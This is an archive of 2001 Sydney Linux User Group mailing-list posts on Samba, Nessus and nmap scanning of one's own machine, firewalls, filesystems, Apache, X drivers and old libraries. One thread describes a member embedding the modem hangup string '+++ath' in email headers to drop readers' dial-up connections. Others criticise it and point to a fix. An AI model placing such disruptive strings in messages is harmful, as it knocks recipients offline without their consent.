http://lists.slug.org.au/listinfo/slug -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
[SLUG] NOW audio software for Linux
I think this was meant for the list -Original Message- From: Laurie Savage [mailto:[EMAIL PROTECTED]] Sent: Friday, October 05, 2001 9:53 AM To: Booth, Christopher (Aus) - ATP Subject: Re: [SLUG] Completely OT -el Presidente, perfect pitch and boids Nasty!! Any one seen any music transcription software for Linux - I'm hunting now. Booth, Christopher (Aus) - ATP wrote: I thought relative pitch was throwing the mother-in-law out of the top floor window Chris BTW what aural training programs are available for Linux. Advanced chord recognition programs ? like A7alt, Bm7b5, E7#9b13 begin:vcard n:Savage;Laurie tel;fax:02 6361 3616 tel;home:02 6361 9959 tel;work:02 6362 3444 x-mozilla-html:FALSE url:http://users.bigpond.com/savage99 org:Orange High School;Science Dept adr:;;Woodward Street;Orange;NSW;2800;Australia version:2.1 email;internet:[EMAIL PROTECTED] title:Earth Sciences note:Database and Webpage design for small businesses and educators fn:Laurie Savage end:vcard
RE: [SLUG] Document management systems
Fuji Xerox Australia is trying to get this released on Linux, the present versions don't run on Linux. They run on Windows IIS, or Sparc Solaris using apache or Netscape Enterprise Server. Producing a Linux version should be trivial for them (just don't expect them to supply the source code as GPL :p) though Solaris versions and patch levels of software are more version consistent across the board than Linux counterparts. Things like code red and nimda worms/virii have played havoc with IIS servers as you are all probably well aware so IMHO putting it on Linux servers is a very good bet. A demo version was given away on one of the latest computer magazines. It just requires a license code to be purchased to enable more than 50 documents to be viewed. This is proprietary and is based on three things the hostname of the server, the port no. of the web server and the web directory. You then logon to docushare as administrator, go to the admin section, and check the server ID that is created. This is sent to the States and a license is generated. For example a Server ID of 39397 for 50 users gives something like this with this format (not a real license) CR1R-Q9YH-Z2KZ-7KFA-99SL-W711-RCH I don't know what kind of encryption that they use to generate the string. It does have version control, and user access levels, using a thing called keyview to display documents on the fly, or enabling downloading of them. Python scripts are used and the verity database for searching etc... It is pretty straight forward and the interface can be customised to a degree. Cheers Chris -- Christopher Booth The information in this e-mail and any attachment(s) is confidential and may be legally privileged. This e-mail is intended solely for the addressee. If you are not the addressee, dissemination, copying or other use of this e-mail or any of its content is strictly prohibited and may be unlawful. If you are not the intended recipient please inform the sender immediately and destroy the e-mail and any copies. All liability for viruses is excluded to the fullest extent permitted by law. Any views expressed in this message are those of the individual sender. No contract may be construed by this e-mail. -Original Message- From: Susanto Hartono [mailto:[EMAIL PROTECTED]] Sent: Tuesday, October 02, 2001 12:21 PM To: Michael De Santis Cc: 'Slug ' Subject: Re: [SLUG] Document management systems If your budget allows it, you can try Xerox's DocuShare. We have been using it for a while and so far it hasn't failed us yet. http://docushare.xerox.com/ --SH On Fri, 24 Aug 2001, Michael De Santis wrote: The management system should be at least do some of the following tasks - Assign user access levels Indicate if the document is locked or being edited Assign users to work groups or projects Able to handle different file formats ie Word, Excel, PDF Interfaced through a browser. I would also be interested in hearing of any commercial system that be can recommend -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
[SLUG] Bootable CD Linux with Nessus, or ability to add to build
Hi guys, A guy here at work would like to get a bootable CD with Nessus on it, or a build which has the ability to add Nessus to it. Has anyone done this or do they know of anything ? PS We are searching on the web. He found something called Trinix -- Christopher Booth -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
RE: [SLUG] Samba...
From one flamed to another :) look at smbadduser and smbpasswd There is also an option in smb.conf to sync with Unix passwords and you shouldn't use plain text passwords Security can be set to security=domain But you need to create a computer account name manually on the NT/2000 server. Chris -Original Message- From: Phillipus Gunawan [mailto:[EMAIL PROTECTED]] Sent: Tuesday, September 11, 2001 12:43 AM To: [EMAIL PROTECTED] Subject: [SLUG] Samba... I'm really sorry because was late to read these email(s) Without harming everyone else, yes, most of the time, for us -newbies- is a bit difficult to find a good doc, even sometime can't think the proper question to post it here (I did it a few times...) I was trying to set up samba with NIS and create local user in the box as the authentication to the window$ (for a start before I really have to deal with pam) This is how I create the user: [1] useradd -g 100 -d /dev/null -c mywidow -m -s /bin/false widowbox [2] smbpasswd -a -m widowbox On the widow machine, I try to join the domain, It give me an error saying that no user name or bad password. Anyone have a -bit- clue? One more thing, I have a suggestion for the next SLUG-meeting Why don't SLUG discuss about winbind? the real implementation, examples and the explanation? That will be great isn't? I think that will make more newbies (including me for sure...) come on the next SLUG-meeting Just an Idea. Thanks in Advance -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
RE: [SLUG] Answer + Disappointment
A month to do it is childish but for 2 years now http://bad.debian.net/list/1999-October/000583.html BTW I'm not on a modem so I can't test mm Chris -Original Message- From: DaZZa [mailto:[EMAIL PROTECTED]] Sent: Tuesday, September 11, 2001 9:06 AM To: [EMAIL PROTECTED] Subject: Re: [SLUG] Answer + Disappointment On Mon, 10 Sep 2001, Charles U Farley wrote: I'm happy to paint you as a villain Rick, as I'm sure many of this lists modem users are. Yes you've annoyed me personally, does + + + ath ring any bells in your juvenile head. For those of you lucky enough to be unaware, Rick decided to include the command to hangup a modem in the headers of several recent emails to this list. I'll bet there are other recipients not yet back on the list, still trying to figure out why their ppp connection fails every time they download their mail. Only those who have cheap junk modems, or who don't know how to set them up properly. There's a simple AT command that's valid on all modems which even pretend to match the Hayes command set which disables this possibility. Of course, good modems who actually license the Hayes command set accordingly don't have this problem. Reference http://cert.uni-stuttgart.de/archive/bugtraq/1998/09/msg00209.html Rick, you are a villain and a nuisance and because I know this to be true, this post is anonymous. Certainly, it's childish and a nuisance - but villainous? DaZZa -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
[SLUG] Help on Nessus
Hi Here at work after a typo in an IP-address, I got bombarded by a program called nessus from our IT security. It ended up being a DOS attack on my machine. Is here anyone familiar with the usage of Nessus, I have since downloaded it, and am running it against my own machine as localhost at the moment. There are other tools out there, like Netsaint, Snort and Prelude. I am just getting more into the network security and firewall side, so any advice would be advantageous. Chris -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
RE: [SLUG] Help on Nessus
Got the results from the scan of 127.0.0.1 Things appeared pretty tight, some warnings, which they said could be false positives, with smtp forwarding. Should be ok on a closed corporate network. It did list a web server on port 5805 Also a thing call krb524 on port Another curious that appears is trivnet1 on port 8200 Does anyone know what this port is used for ? Is there any way to get a quick listing of open ports on machine and what service has them open ? I used nmap -sS -O 127.0.0.1 It says difficulty 982131 (Good Luck) Chris -Original Message- From: Booth, Christopher (Aus) - ATP [mailto:[EMAIL PROTECTED]] Sent: Thursday, 5 July 2001 10:10 To: [EMAIL PROTECTED] Subject: [SLUG] Help on Nessus Hi Here at work after a typo in an IP-address, I got bombarded by a program called nessus from our IT security. It ended up being a DOS attack on my machine. Is here anyone familiar with the usage of Nessus, I have since downloaded it, and am running it against my own machine as localhost at the moment. There are other tools out there, like Netsaint, Snort and Prelude. I am just getting more into the network security and firewall side, so any advice would be advantageous. Chris -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
RE: [SLUG] Help on Nessus
I think ipchains is disabled in the kernel anyway. So I can't use it or ipfwadm Only the option for IPTables I guess -Original Message- From: Jobst Schmalenbach [mailto:[EMAIL PROTECTED]] Sent: Thursday, 5 July 2001 2:51 To: [EMAIL PROTECTED] Subject: Re: [SLUG] Help on Nessus On Thu, Jul 05, 2001 at 11:18:35AM +1000, Crossfire ([EMAIL PROTECTED]) wrote: Booth, Christopher (Aus) - ATP was once rumoured to have said: [snip] For firewalling, first learn about the IP protocol. TCP/IP Illustrated by W.R. Stevens is still the best reference on the protocol. Then you should start learning about how packet filters work, and then you should start working out how to use packetfilters to limit communications. I recommend starting with ipf or ipchains, and only switching to iptables once you've gotten used to using ipchains. What you said at the start is perfect, yet I disagree with what you said about ipchains/iptables (or gosh does this end up in a discusion aka learn pascal first then learn C ??? hehehehehe). IMHO ipchains teaches you wrong things eg the way packets flow. * Iptables has routing built in which makes a descision where packets go not interfering with the input chain. * In iptables the log target is better than the log rule. * Iptables has the reject target with rules how to reject (icpm) which is non existing in ipchains. I would go straight to iptables, skipping ipchains. When I started using iptables I had a few questions amongst why have two similar packages. Rusty (the maker of ipchains) ansered that ipchains will be phased out; if you already have ipchains you can stick with it for a while, but if you new go with iptables. jobst PS: (I went stright to C ;-)), skipping pascal) -- Goldwaithe's lemma of Murphy's third law: The line in which you are waiting is always the slowest. If you move, the line you move to stops. If you move back, both lines stop, and everyone is angry with you. |__, Jobst Schmalenbach, [EMAIL PROTECTED], Technical Director| | _ _.--'-n_/ Barrett Consulting Group P/L The Meditation Room P/L | |-(_)--(_)= +61 3 9532 7677, POBox 277, Caulfield South, 3162, Australia| -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
RE: [SLUG] alternative file systems
Dumb question time
Are there conversion tools to convert from ext2fs to xfs or reiserfs ?
Chris
-Original Message-
From: DaZZa [mailto:[EMAIL PROTECTED]]
Sent: Monday, 2 July 2001 5:08
To: cpaul
Cc: [EMAIL PROTECTED]
Subject: Re: [SLUG] alternative file systems
On Mon, 2 Jul 2001, cpaul wrote:
when i get my new hard disk, i think i'd like to try an alternative file
system than ext2. i hear a lot of good things about reiserfs. does
anyone
have (positive) experience with journaling file systems? are some better
suited to raid?
I use reiser on everything except my boot partition {I wasn't sure if I
could - still aren't, really}, and it's great.
Mounts them so fast after a lockup {which I have occasionally - bodgey SMP
bios on the motherboard/processor combination} compared to ext2 it's not
funny.
As a comparison - a 2 gig ext2 partition on a UltraWide SCSI {80 meg}
device takes about 4-5 minutes.
A 5 gig partition on an IDE {Ultra33} device takes about 4-5 seconds.
I love it.
DaZZa
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RE: [SLUG] Is there a SSH for Win-nt/2000?
putty.exe is a good ssh, and telnet replacement client www.chiark.greenend.org.uk/~sgtatham/putty/ Chris -Original Message- From: Jobst Schmalenbach [mailto:[EMAIL PROTECTED]] Sent: Friday, 29 June 2001 7:11 To: [EMAIL PROTECTED] Subject: [SLUG] Is there a SSH for Win-nt/2000? Is there a ssh for windows NT/2000? jobst -- Who is general Failure and what is he doing on my disk? |__, Jobst Schmalenbach, [EMAIL PROTECTED], Technical Director| | _ _.--'-n_/ Barrett Consulting Group P/L The Meditation Room P/L | |-(_)--(_)= +61 3 9532 7677, POBox 277, Caulfield South, 3162, Australia| -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
RE: [SLUG] Apache: why doesn't allow from localhost work ?
I don't think that it is an apache thing at all. If you are using a proxy address, put as exclusions in your browser proxy settings - 130.10.11.12 127.0.0.1 localhost Chris -Original Message- From: Mike Lake [mailto:[EMAIL PROTECTED]] Sent: Wednesday, 27 June 2001 6:16 To: [EMAIL PROTECTED] Subject: Re: [SLUG] Apache: why doesn't allow from localhost work ? On Wed, Jun 27, 2001 at 05:48:48PM +1000, Andrew Bennetts wrote: On Wed, Jun 27, 2001 at 05:11:24PM +1000, Mike Lake wrote: # allow from localhost # why does this not work? Are you pointing your browser at http://localhost/blah or at: http://mycomputername/blah When I point it at http://localhost/~mikel I get Forbidden You don't have permission to access /~mikel on this server. AND the URL in the browser changes to: http://mycomputername.mydomain.edu.au/~mikel/ (That means that localhost is being resolved to mycomputer.mydomain I gather) When I point it at http://mycomputername/~mikel I get Forbidden You don't have permission to access /~mikel on this server. At a guess, the first should work, and the second shouldn't. Nope. neither. If I point it just to http://localhost I get: You don't have permission to access / on this server. If I point it to http://mycomputername I get the correct index.html file in /var/www Your browser is free to bind to any local interface it likes when it creates a socket to connect to somewhere... default behaviour for sockets is to try pick an appropriate interface, so if you point your browser at a real IP addres, or a domain name that maps to one, it will connect from your internet connection's address, not your localhost one. I hope this helps (and I hope I'm making sense :) Dont really follow about the binding. I understand about mapping to an address if it can loo up an addr from a name but not the bit about the from bit. Mike -- Don't worry if you're a kleptomaniac; you can always take something for it. Michael Lake, University of Technology, Sydney Work: [EMAIL PROTECTED] Ph: 02 9514 1724 Fx: 02 9514 1628 Home: http://www.speleonics.com.au Linux enthusiast, active caver and interested in anything technical. *** -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
RE: [SLUG] Re: XFree86 Version 4.0.3 / X Windows System
look for an XF86Config-4 which on Mandrake is the XF86Config file for X windows version 4, and the XF86Config file is for version 3.6 Chris -Original Message- From: Matthew Palmer [mailto:[EMAIL PROTECTED]] Sent: Wednesday, 27 June 2001 12:02 To: Adam F. Bogacki Cc: Slug@Slug. Org. Au Subject: [SLUG] Re: XFree86 Version 4.0.3 / X Windows System On Wed, 27 Jun 2001, Adam F. Bogacki wrote: apt-get install xserver-xfree86 xbase-clients (nifty the way apt-get fires up the modem for the download, then shuts it down) Cool, isn't it! except for one thing the install routine gave a very restricted choice of video cards. My system uses the NVIDIA TNT2 SERIES v.365 video card so I chose the 'nv' option ... A wise choice, and the best under the circumstances. If you want the best possible support for your card, though, you'll need to get the binary-only drivers from nVidia's website (www.nvidia.com) and install them. There's a kernel module (for DRM) and a bunch of libraries which replace ones already on your system, as well as a new 'nvidia' XFree 4 driver. When I rebooted I was still in console mode, with the following readout. (==) Using configfile: /etc/X11/XF86Config Data incomplete in file /etc/X11/XF86Config Device section Primary Card must have a driver line. Aah, bugger. Time to fire up the text editor and take a look at /etc/X11/XF86Config. My guess is it's still the 3.3.6 one, worse luck. The Debian XFree 4 config script is still shot at this time - it occasionally works, but usually craps up in a variety of interesting ways. I've put up a copy of the config file I used when I was using the nv driver previously, at http://ieee.uow.edu.au/~mjp16/XF86Config-nv. I've since upped to the closed-source nvidia driver, which works well but requires a pile of fiddling. If you're running a 2.4.3 kernel, I've got a private package I created of all the necessary stuff. Add a line to sources.list: deb http://ieee.uow.edu.au/~mjp16/debian local contrib and do the necessary update. Then apt-get install nvidia, it'll install the libraries and everything required. The module was compiled for 2.4.3, but there is a tarball of the source code for the kernel module in /usr/src/modules if you want to recompile for another 2.4 kernel. I doubt it'll work on 2.2, but you can try. -- --- #include disclaimer.h Matthew Palmer [EMAIL PROTECTED] -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
[SLUG] Linux servers growing in numbers out there
Just to advise that I had a call today from someone actually in Melbourne at a company called coogi, who were setting up a RedHat 7.1 server as a Printer server, running samba etc... He had added a printer through the print tool and called it lpd. This seemed to interfere with the daemon called lpd . Nothing would print so we deleted everything from the printcap, and recreated the queue and called it DC440 for the name of the printer. So what, you say ? Well I asked why he chose Linux as his print server, he said because of cost and configurability to reduce the load on the main server (unknown OS) He is using it on a Pentium II 350 with 64 megs of ram, but was surprised by the amount of space required by the install 1.3 or something gigs. It does run slowly though. On a side but related note. I just installed RedHat 7.1 at home too on the weekend, and I have a Cyrix 300 with 64 Megs of Ram. I too find it very slow, lots of disk access for virtual memory. I stopped most unnecessary services. Any ideas on getting it going faster and more efficiently. I have KDE and gnome installed but running a browser like Netscape or Mozilla grinds everything to a halt. One of the big reasons for using Linux or GNU/Linux is the ability to run it on lower spec hardware, which I've been doing for the last 3 or so years. But it runs significantly slower than Win 2000 does (even with only 20 meg of disk space left to play with after booting) Disk usage is equivalent ~1.3 gigs with apps etc... Yes I don't need so many apps, but just by them being on the disk but not being used shouldn't slow down the processing and take up system memory. I have swap space of about 130 megs. Would using the Reiserfs speed it up ? Can you convert one to the other ? Regards -- Christopher Booth Software and Production Specialist Technical Support Centre Fuji Xerox Australia Ph. 61 2 9469 2493 Fax: 61 2 9469 2303 Technical Support Hotline: 1800 028 962 Technical Support Email: [EMAIL PROTECTED] -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
[SLUG] Mandrake 8 firewall
2nd question At work, I have installed Mandrake 8, I enabled the default proxy settings through the Mandrake Control Panel. This is called the tiny firewall. Great, no more hacks from people on the corporate network wanting to see what it is. That's another story... Ok, it disabled samba access from the outside as well as stopping someone pinging the IP address. I want to be able to reenable it from the network for certain IP addresses. I'm not sure where to look though. Any help appreciated. -- Christopher Booth Software and Production Specialist Technical Support Centre Fuji Xerox Australia Ph. 61 2 9469 2493 Fax: 61 2 9469 2303 Technical Support Hotline: 1800 028 962 Technical Support Email: [EMAIL PROTECTED] -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
RE: [SLUG] Linux servers growing in numbers out there
They do choke the box, but they are a big selling point of GNU/Linuxes
ability (in Windoze users eyes) to replace windows. Windows just doesn't
grind so much to a halt when running Netscape or IE5, Outlook Express plus
Musicmatch Jukebox etc...
I want to go Linux only, just wish things would work faster.
Chris
-Original Message-
From: Terry Collins [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, 27 June 2001 5:49
To: Booth, Christopher (Aus) - ATP
Cc: '[EMAIL PROTECTED]'
Subject: Re: [SLUG] Linux servers growing in numbers out there
Booth, Christopher (Aus) - ATP wrote:
...snip
He is using it on a Pentium II 350 with 64 megs of ram, but was surprised
by
the amount of space required by the install 1.3 or something gigs. It
does
run slowly though.
He can probably throw most of it away, but I suppose he wants gui
config.
On a side but related note.
I just installed RedHat 7.1 at home too on the weekend, and I have a Cyrix
300 with 64 Megs of Ram. I too find it very slow, lots of disk access for
virtual memory.
I stopped most unnecessary services. Any ideas on getting it going faster
and more efficiently. I have KDE and gnome installed but running a
browser
like Netscape or Mozilla grinds everything to a halt.
You have just list three Gnu/Linux bloatware apps. Netscape expands to
fill the available space. KDE Gnome positivel choke any boxen. I made
the mistake of running Netscape on Gnome on P200 recently - glacially
slow.
One of the big reasons for using Linux or GNU/Linux is the ability to run
it
on lower spec hardware, which I've been doing for the last 3 or so years.
For X use, fvm or something.
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RE: [SLUG] xdvi displays RGB !
24bit colour depth does give problems on some apps, netscape being one. Corel Word Perfect 8 is another and so is ymessenger Don't know why though, just have to try another colour depth sorry -Original Message- From: Mike Lake [mailto:[EMAIL PROTECTED]] Sent: Tuesday, 26 June 2001 2:13 To: [EMAIL PROTECTED] Cc: Mike Lake Subject: Re: [SLUG] xdvi displays RGB ! On Tue, Jun 26, 2001 at 01:21:13PM +1000, Mike Lake wrote: I made a post a while ago on my fonts in xdvi appearing strange. (22 May 2001). I still have not worked out what the prob is. When I run xdvi the fonts appear to be colour separated ie all the letters instead of being black on a white background are alternating, vertical blue/red stripes. . BTW it's definately not a colour map running out from a hog like Netscape. xwininfo: Depth: 24 Visual Class: TrueColor Netscape ain't running. Have a look at the gif and you will see what I mean. Running out of colors from the available colormap appears quite different. Mike -- Accuracy, n.: The vice of being right Michael Lake, University of Technology, Sydney Work: [EMAIL PROTECTED] Ph: 02 9514 1724 Fx: 02 9514 1628 Home: http://www.speleonics.com.au Linux enthusiast, active caver and interested in anything technical. *** -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
RE: [SLUG] Why does my executable not well.....Execute!
This is the case if you want to use Wordperfect 8 on Mandrake 7.2 or 8. Mandrake 8 actually comes with a libc compatible rpm (check out www.rpmfind.net/linux/rpm2html/search.php?query=libc for redhat versions as well) You also need ld-linux.so.1 www.rpmfind.net/linux/rpm2html/search.php?query=ld-linux.so.1 I seem to remember having to install it via rpm -ivh --force libc*.rpm then reinstalling the newer libraries from the CD the same way. Dont use the option to upgrade as that removes the old one, just force the install. I then ran ldconfig and everything worked fine. Warning though the first time I installed a bunch of libraries which really stuffed everything up, I ended up reinstalling (why because I wanted to :)) Be careful -- Christopher Booth Software and Production Specialist Technical Support Centre Fuji Xerox Australia Ph. 61 2 9469 2493 Fax: 61 2 9469 2303 Technical Support Hotline: 1800 028 962 Technical Support Email: [EMAIL PROTECTED] -Original Message- From: Greg Hosler [mailto:[EMAIL PROTECTED]] Sent: Wednesday, 20 June 2001 3:41 To: enterfornone Cc: [EMAIL PROTECTED] Subject: Re: [SLUG] Why does my executable not well.Execute! On 20-Jun-01 enterfornone wrote: Hmmm, ok so we look on the rh7.1 install and find libXext.so.6 and libX11.so.6 but libm.so.5 and libc.so.5 are missing. I thought that Linux had this library version thing under control. Like the binary looks for libm.so not libm.so.5. What's going on Linux this is looking like a bad case of windows ddl hell. Not really, major numbers on libraries aren't compatible. Linux, unlike Windows, provides a way to tell the difference between versions. So I grab the libs off the Rh6.2 box and stick them on the 7.1 box andNothing works :-( You'll need to put the path to the new (old) libraries in /etc/ld.so.conf and run ldconfig You'll also (I think) need /lib/ld-linux.so.1 If you locate this (and possibly the older compatibility libraries), you might find yourself in luck. -G There should be an RPM that does all this for you, can't think of what it's called tho -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug +-+ DOS Computers manufactured by companies such as IBM, Compaq, Tandy, and millions of others are by far the most popular, with about 70 million machines in use wordwide. Macintosh fans, on the other hand, may note that cockroaches are far more numerous than humans, and that numbers alone do not denote a higher life form. (New York Times, November 26, 1991) | Greg Hosler i-net: [EMAIL PROTECTED]| +-+ -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
